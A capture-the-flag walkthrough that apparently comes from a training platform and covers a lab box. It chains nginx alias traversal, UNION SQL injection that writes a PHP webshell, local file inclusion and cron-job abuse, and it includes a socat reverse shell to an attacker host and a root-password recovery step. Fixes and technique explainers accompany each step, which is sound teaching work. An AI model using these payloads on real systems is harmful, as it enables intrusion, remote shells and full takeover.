Unattended
Summary
Target www.nestedflanders.htb ($TARGET) was fully compromised through a four-stage chain. An nginx alias-traversal misconfiguration let an unauthenticated visitor download raw PHP source code, which contained hard-coded MySQL credentials. The site's id GET parameter was vulnerable to UNION-based SQL injection; I exploited this to write a PHP webshell into a session file and then include that file through a local-file-inclusion flaw in the same parameter — gaining code execution as www-data.
The leaked database credentials were then used to overwrite a configuration value that a scheduled cron job executes as shell commands, pivoting to user guly and the user flag. Finally, a non-standard binary hidden inside the server's initrd boot image was extracted and run with a recoverable passphrase, returning root's cleartext password for full system takeover.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<the-password-you-recovered>"
export PASSWORD2="<the-password-you-recovered, for nestedflanders>"
export PASSWORD3="<the-password-you-recovered>"
export COOKIE="<the-session-cookie-you-captured>"Attack path — how the box was taken
Exact commands 3
Full TCP scan; confirms only ports 80 and 443 are reachable.
$ nmap -Pn -p- --min-rate 3000 -T4 --open $TARGETExtract the TLS certificate CN — reveals www.nestedflanders.htb.
$ echo | openssl s_client -connect $TARGET:443 -servername www.nestedflanders.htb 2>/dev/null | openssl x509 -noout -subjectRegister the discovered vhost for local resolution.
$ echo "$TARGET www.nestedflanders.htb" | sudo tee -a /etc/hostsExact commands 2
The alias traversal serves raw PHP source instead of executing it.
$ curl -sk https://www.nestedflanders.htb/dev../html/index.php -o index.php.leakExtract hard-coded database connection details from the leaked file.
$ grep -iE 'pass|user|db|host' index.php.leakFixFix the nginx alias directive to prevent path traversal and source code disclosureCritical
Exact commands 1
Validate the leaked credentials and enumerate the database schema (run from inside the www-data shell obtained in Step 4).
$ mysql -h 127.0.0.1 -u nestedflanders -p$PASSWORD2 -D neddy -e 'show tables;'FixRemove hard-coded database credentials from application source codeHigh
Exact commands 4
Verify UNION injection and file-read primitive by returning /etc/passwd content.
$ curl -sk "https://www.nestedflanders.htb/index.php?id=465%27%20union%20select%20%27%2Fetc%2Fpasswd%27--%20-"Fix the session ID so its on-disk filename is predictable, then write the webshell into the session file via UNION SELECT.
$ curl -sk -b "PHPSESSID=$COOKIE" "https://www.nestedflanders.htb/index.php?id=465'+union+select+'<?php+system(\$_GET[cmd]);?>'+--+-"Include the poisoned session file via LFI to trigger the webshell; expect uid=33(www-data).
$ curl -sk "https://www.nestedflanders.htb/index.php?id=/var/lib/php/sessions/sess_$COOKIE&cmd=id"Engagement convenience wrapper for the three-step chain above; confirms www-data execution.
$ python3 /tmp/unattended_rce.py 'id'FixParameterise the SQL query and harden PHP session handling to eliminate the RCE chainCritical
Exact commands 3
Start reverse-shell listener on my machine ($ATTACKER_IP) before poisoning the DB value.
$ nc -lvnp 443Execute via the www-data webshell wrapper. Overwrites the cron-consumed option_value with a reverse-shell payload. Replace $ATTACKER_IP with your listener IP.
$ python3 /tmp/unattended_rce.py 'mysql -unestedflanders -p'"$PASSWORD2"' -D neddy -e "update config set option_value=\"socat exec:\x27bash -li\x27,pty,stderr,setsid,sigint,sane tcp:'"$ATTACKER_IP"':443;\" where id=86"'Run in the guly reverse shell once it fires -> <user.txt>
$ cat /home/guly/user.txtFixStop executing database-stored values as shell commands in scheduled jobsCritical
Exact commands 4
Decompress and unpack the initrd image into the current directory; look for non-standard files in sbin/.
$ cd /tmp && mkdir initrd-pwn && cd initrd-pwn && zcat /boot/initrd.img-4.9.0-8-amd64 | cpio -idmvCopy to a writable, executable location since /tmp/initrd-pwn may be on a noexec mount.
$ cp /tmp/initrd-pwn/sbin/uinitrd /home/guly/uinitrd && chmod 700 /home/guly/uinitrdInvoke with the discovered passphrase; outputs root's cleartext password.
$ /home/guly/uinitrd $PASSWORD3Authenticate as root using the recovered password ($PASSWORD); then read root.txt — -> <root.txt>
$ su rootFixRemove root credentials from the initrd boot image and rotate the root passwordCritical
Attack patterns used
The transferable techniques behind this compromise.
Cron Job AbuseLinux · Privilege EscalationT1053.003
What it is
Scheduled tasks running as root that invoke a writable script, a wildcard, or a relative path can be hijacked. Watching processes with pspy (no root needed) reveals cron jobs; if the executed file or its directory is writable, an unauthorised user overwrites it with a payload that runs at the next interval as root.
Why it works
Cron jobs are written for convenience and often reference world-writable paths or use unsafe wildcards (tar *). Remediate with absolute paths, restrictive permissions on scripts, and avoiding shell wildcards in privileged cron jobs.
Read more
Local File InclusionWebT1190
What it is
A web app builds a file path from user input (?page=../../etc/passwd), letting an unauthorised user read arbitrary files or, via log poisoning, PHP wrappers (php://filter, data://), or session files, achieve code execution. LFI commonly leaks credentials, SSH keys, and source code that feed the next step.
Why it works
The app trusts a path parameter and fails to constrain it to an allow-list. Remediate by mapping identifiers to fixed file paths, disabling dangerous PHP wrappers, and canonicalizing/validating paths.
Read more
SQL InjectionWebT1190
What it is
User input is concatenated into a SQL query, letting an unauthorised user alter the query's logic — bypassing authentication, dumping tables (including password hashes), or, with stacked queries / file privileges, writing webshells or executing OS commands. sqlmap automates detection and exploitation across boolean/error/time/union vectors.
Why it works
The root cause is mixing untrusted data with query code instead of using parameterized statements. Remediate with prepared statements/ORM bindings, least-privilege DB accounts, and input validation.
Read more
Exposed services
| 80/tcp | http nginx 1.10.3 |
| 443/tcp | ssl/http nginx 1.10.3 |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.